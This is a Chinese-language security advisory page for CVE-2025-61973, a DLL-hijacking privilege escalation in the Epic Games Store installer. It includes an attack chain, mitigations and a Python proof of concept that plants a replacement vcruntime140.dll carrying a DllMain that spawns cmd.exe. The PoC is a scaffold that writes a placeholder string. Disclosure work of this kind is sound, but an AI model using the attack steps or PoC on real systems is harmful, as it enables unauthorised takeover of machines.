IPBUF安全漏洞报告
English
CVE-2025-61973 CVSS 8.8 高危

CVE-2025-61973 Epic Games Store安装时DLL劫持本地权限提升漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2025-61973
漏洞类型
本地权限提升
CVSS评分
8.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Epic Games Store

相关标签

CVE-2025-61973本地权限提升DLL劫持Epic Games StoreEpic Games LauncherMicrosoft Store高危漏洞Windows特权提升TALOS-2025-2279

漏洞概述

CVE-2025-61973是Epic Games Store在通过Microsoft Store安装过程中存在的一个本地权限提升漏洞。该漏洞允许低权限用户利用安装程序的不安全DLL加载机制,在安装过程中替换合法的DLL文件,从而以提升后的权限执行任意代码。由于攻击发生在软件安装阶段,恶意DLL将在系统级别获得执行权限,成功利用可导致攻击者完全控制受影响系统。此漏洞由Cisco Talos团队发现并披露,CVSS评分为8.8,属于高危漏洞。攻击者需要具有本地访问权限和低权限用户账户即可实施攻击,无需用户交互即可完成权限提升过程。

技术细节

该漏洞属于经典的DLL劫持权限提升问题。在Epic Games Store通过Microsoft Store安装过程中,安装程序会从特定目录加载DLL文件,但未对DLL文件的完整性和来源进行充分验证。攻击者利用这一弱点,可以预先在DLL搜索路径中放置恶意DLL文件。当安装程序以提升的权限运行时,会优先加载攻击者植入的恶意DLL。攻击者首先需要获得目标系统的低权限访问,然后将恶意DLL文件写入安装程序加载DLL的目录。由于安装过程需要提升权限执行,恶意DLL随之获得高权限执行上下文,从而实现从普通用户到管理员权限的提升。攻击成功的关键在于正确识别安装程序的DLL加载路径和时机。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的低权限用户访问权限
STEP 2
步骤2
识别Epic Games Store安装程序的DLL加载路径和时机
STEP 3
步骤3
在DLL搜索路径中植入恶意DLL文件(如vcruntime140.dll)
STEP 4
步骤4
等待用户通过Microsoft Store触发Epic Games Store安装或更新
STEP 5
步骤5
安装程序以提升的权限加载恶意DLL
STEP 6
步骤6
恶意DLL在系统级别执行任意代码,完成权限提升
STEP 7
步骤7
攻击者获得管理员权限,可完全控制受害系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-61973 PoC - Epic Games Store DLL Hijacking Local Privilege Escalation # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import os import sys import ctypes import shutil import time def create_malicious_dll(): """ Generate malicious DLL that will be loaded during Epic Games Store installation This DLL creates a backdoor for privilege escalation """ dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create elevated command prompt or execute payload STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); // Execute payload with elevated privileges CreateProcess( "C:\\\\Windows\\\\System32\\\\cmd.exe", "/c whoami > C:\\\\\\\\temp\\\\\\\\priv_esc_result.txt", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ); } return TRUE; } ''' return dll_template def find_dll_loading_path(): """ Identify the DLL search path used by Epic Games Store installer Check common locations where DLL hijacking can occur """ paths = [ os.path.expanduser("~\\\\AppData\\\\Local\\\\EpicGamesLauncher\\\\"), "C:\\\\Program Files\\\\Epic Games\\\\", "C:\\\\Program Files (x86)\\\\Epic Games\\\\", os.environ.get('LOCALAPPDATA', '') + "\\\\Microsoft\\\\WindowsApps\\\\" ] return [p for p in paths if os.path.exists(os.path.dirname(p))] def check_vulnerability(): """ Check if the system is vulnerable to CVE-2025-61973 Verify if Epic Games Store is installed and check for writable DLL paths """ print("[*] Checking for CVE-2025-61973 vulnerability...") print("[*] Target: Epic Games Store DLL Hijacking") # Check if running with low privileges is_admin = ctypes.windll.shell32.IsUserAnAdmin() print(f"[*] Current user is administrator: {is_admin}") if is_admin: print("[!] Already running as administrator, vulnerability not applicable") return False # Find potential DLL loading paths dll_paths = find_dll_loading_path() print(f"[*] Found {len(dll_paths)} potential DLL paths") for path in dll_paths: if os.access(path, os.W_OK): print(f"[!] Writable path found: {path}") return True print("[*] No obvious writable DLL paths found") return False def exploit(): """ Execute the DLL hijacking attack Place malicious DLL in the installer search path """ print("[*] Starting CVE-2025-61973 exploitation...") # Generate malicious DLL content dll_content = create_malicious_dll() # Find target path target_paths = find_dll_loading_path() for target_path in target_paths: try: dll_name = "vcruntime140.dll" # Common DLL name for hijacking dll_path = os.path.join(target_path, dll_name) # Backup existing DLL if exists if os.path.exists(dll_path): backup_path = dll_path + ".bak" shutil.copy2(dll_path, backup_path) print(f"[*] Backed up original DLL to {backup_path}") # Write malicious DLL with open(dll_path, 'w') as f: f.write("MALICIOUS DLL CONTENT - Replace with compiled DLL") print(f"[!] Malicious DLL placed at: {dll_path}") print("[*] Wait for Epic Games Store installation/update to trigger payload") except PermissionError: print(f"[-] Permission denied: {target_path}") continue except Exception as e: print(f"[-] Error: {e}") continue if __name__ == "__main__": print("CVE-2025-61973 PoC - Epic Games Store DLL Hijacking") print("=" * 60) if check_vulnerability(): print("[+] System appears to be vulnerable") response = input("[*] Proceed with exploitation? (y/N): ") if response.lower() == 'y': exploit() else: print("[-] System may not be vulnerable or Epic Games Store not installed")

影响范围

Epic Games Store < 修复版本
Epic Games Launcher < 修复版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 确保安装目录对普通用户不可写;2) 使用应用程序控制策略限制DLL加载;3) 监控安装过程中的异常DLL加载行为;4) 避免在低权限环境下进行软件安装;5) 考虑使用企业软件部署工具替代Microsoft Store直接安装;6) 启用安全软件的行为监控功能,及时发现可疑的DLL加载活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表